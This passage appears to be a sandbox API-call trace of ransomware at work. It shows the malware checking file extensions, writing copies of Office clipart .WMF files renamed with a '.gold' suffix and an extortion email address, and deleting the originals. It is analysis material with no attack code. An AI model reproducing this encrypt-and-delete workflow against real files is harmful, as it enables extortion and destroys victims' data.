Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.266] lstrlenW (lpString=".doc") returned 4 [0051.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.266] lstrlenW (lpString=".docx") returned 5 [0051.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.266] lstrlenW (lpString=".pdf") returned 4 [0051.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.266] lstrlenW (lpString=".xls") returned 4 [0051.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.266] lstrlenW (lpString=".xlsx") returned 5 [0051.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.267] lstrlenW (lpString=".ppt") returned 4 [0051.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.267] lstrlenW (lpString=".zip") returned 4 [0051.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.267] lstrlenW (lpString=".rar") returned 4 [0051.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString=".bz2") returned 4 [0051.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString=".7z") returned 3 [0051.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.267] lstrlenW (lpString=".dbf") returned 4 [0051.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.267] lstrlenW (lpString=".1cd") returned 4 [0051.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.267] lstrlenW (lpString=".jpg") returned 4 [0051.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.267] lstrlenW (lpString=".doc") returned 4 [0051.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString=".docx") returned 5 [0051.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.267] lstrlenW (lpString=".pdf") returned 4 [0051.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString=".xls") returned 4 [0051.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.267] lstrlenW (lpString=".xlsx") returned 5 [0051.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.267] lstrlenW (lpString=".ppt") returned 4 [0051.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.267] lstrlenW (lpString=".zip") returned 4 [0051.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.267] lstrlenW (lpString=".rar") returned 4 [0051.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString=".bz2") returned 4 [0051.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString=".7z") returned 3 [0051.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.267] lstrlenW (lpString=".dbf") returned 4 [0051.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.267] lstrlenW (lpString=".1cd") returned 4 [0051.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0051.267] lstrlenW (lpString=".jpg") returned 4 [0051.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.268] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.268] lstrlenW (lpString="BD19828_.WMF") returned 12 [0051.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.268] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=8772) returned 1 [0051.268] CloseHandle (hObject=0x190) returned 1 [0051.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0051.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.268] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.268] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.269] GetLastError () returned 0x0 [0051.269] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x2244, lpOverlapped=0x0) returned 1 [0051.270] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2250, lpOverlapped=0x0) returned 1 [0051.271] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.271] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.271] SetEndOfFile (hFile=0x218) returned 1 [0051.271] CloseHandle (hObject=0x218) returned 1 [0051.271] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.271] SetEndOfFile (hFile=0x190) returned 1 [0051.272] CloseHandle (hObject=0x190) returned 1 [0051.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0051.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.272] lstrlenW (lpString=".doc") returned 4 [0051.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.272] lstrlenW (lpString=".docx") returned 5 [0051.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.272] lstrlenW (lpString=".pdf") returned 4 [0051.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.272] lstrlenW (lpString=".xls") returned 4 [0051.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.272] lstrlenW (lpString=".xlsx") returned 5 [0051.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.272] lstrlenW (lpString=".ppt") returned 4 [0051.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.272] lstrlenW (lpString=".zip") returned 4 [0051.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.272] lstrlenW (lpString=".rar") returned 4 [0051.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.272] lstrlenW (lpString=".bz2") returned 4 [0051.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.272] lstrlenW (lpString=".7z") returned 3 [0051.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.272] lstrlenW (lpString=".dbf") returned 4 [0051.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.272] lstrlenW (lpString=".1cd") returned 4 [0051.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.273] lstrlenW (lpString=".jpg") returned 4 [0051.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.273] lstrlenW (lpString=".doc") returned 4 [0051.273] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.273] lstrlenW (lpString=".docx") returned 5 [0051.273] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.273] lstrlenW (lpString=".pdf") returned 4 [0051.273] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.273] lstrlenW (lpString=".xls") returned 4 [0051.273] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.273] lstrlenW (lpString=".xlsx") returned 5 [0051.273] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.273] lstrlenW (lpString=".ppt") returned 4 [0051.273] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.273] lstrlenW (lpString=".zip") returned 4 [0051.273] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.273] lstrlenW (lpString=".rar") returned 4 [0051.273] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.273] lstrlenW (lpString=".bz2") returned 4 [0051.273] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.273] lstrlenW (lpString=".7z") returned 3 [0051.273] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.273] lstrlenW (lpString=".dbf") returned 4 [0051.273] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.273] lstrlenW (lpString=".1cd") returned 4 [0051.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0051.273] lstrlenW (lpString=".jpg") returned 4 [0051.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.273] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.273] lstrlenW (lpString="BD19986_.WMF") returned 12 [0051.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.274] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=14486) returned 1 [0051.274] CloseHandle (hObject=0x190) returned 1 [0051.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0051.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.274] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.274] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.274] GetLastError () returned 0x0 [0051.274] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x3896, lpOverlapped=0x0) returned 1 [0051.276] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0051.276] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.276] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.276] SetEndOfFile (hFile=0x218) returned 1 [0051.277] CloseHandle (hObject=0x218) returned 1 [0051.277] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.277] SetEndOfFile (hFile=0x190) returned 1 [0051.277] CloseHandle (hObject=0x190) returned 1 [0051.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.278] lstrlenW (lpString=".doc") returned 4 [0051.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString=".docx") returned 5 [0051.278] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.278] lstrlenW (lpString=".pdf") returned 4 [0051.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString=".xls") returned 4 [0051.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.278] lstrlenW (lpString=".xlsx") returned 5 [0051.278] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.278] lstrlenW (lpString=".ppt") returned 4 [0051.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.278] lstrlenW (lpString=".zip") returned 4 [0051.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.278] lstrlenW (lpString=".rar") returned 4 [0051.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString=".bz2") returned 4 [0051.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString=".7z") returned 3 [0051.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.278] lstrlenW (lpString=".dbf") returned 4 [0051.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.278] lstrlenW (lpString=".1cd") returned 4 [0051.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.278] lstrlenW (lpString=".jpg") returned 4 [0051.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.278] lstrlenW (lpString=".doc") returned 4 [0051.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.278] lstrlenW (lpString=".docx") returned 5 [0051.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.279] lstrlenW (lpString=".pdf") returned 4 [0051.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.279] lstrlenW (lpString=".xls") returned 4 [0051.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.279] lstrlenW (lpString=".xlsx") returned 5 [0051.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.279] lstrlenW (lpString=".ppt") returned 4 [0051.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.279] lstrlenW (lpString=".zip") returned 4 [0051.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.279] lstrlenW (lpString=".rar") returned 4 [0051.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.279] lstrlenW (lpString=".bz2") returned 4 [0051.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.279] lstrlenW (lpString=".7z") returned 3 [0051.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.279] lstrlenW (lpString=".dbf") returned 4 [0051.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.279] lstrlenW (lpString=".1cd") returned 4 [0051.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0051.279] lstrlenW (lpString=".jpg") returned 4 [0051.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.279] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.279] lstrlenW (lpString="BD19988_.WMF") returned 12 [0051.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.279] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=18304) returned 1 [0051.279] CloseHandle (hObject=0x190) returned 1 [0051.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0051.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0051.280] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.280] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0051.281] GetLastError () returned 0x0 [0051.281] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4780, lpOverlapped=0x0) returned 1 [0051.282] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4790, lpOverlapped=0x0) returned 1 [0051.283] ReadFile (in: hFile=0x190, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.283] WriteFile (in: hFile=0x218, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.283] SetEndOfFile (hFile=0x218) returned 1 [0051.283] CloseHandle (hObject=0x218) returned 1 [0051.283] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.283] SetEndOfFile (hFile=0x190) returned 1 [0051.284] CloseHandle (hObject=0x190) returned 1 [0051.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.284] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0051.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0051.284] lstrlenW (lpString=".doc") returned 4 [0051.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.284] lstrlenW (lpString=".docx") returned 5 [0051.284] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.284] lstrlenW (lpString=".pdf") returned 4 [0051.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.285] lstrlenW (lpString=".xls") returned 4 [0051.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.285] lstrlenW (lpString=".xlsx") returned 5 [0051.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.285] lstrlenW (lpString=".ppt") returned 4 [0051.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.285] lstrlenW 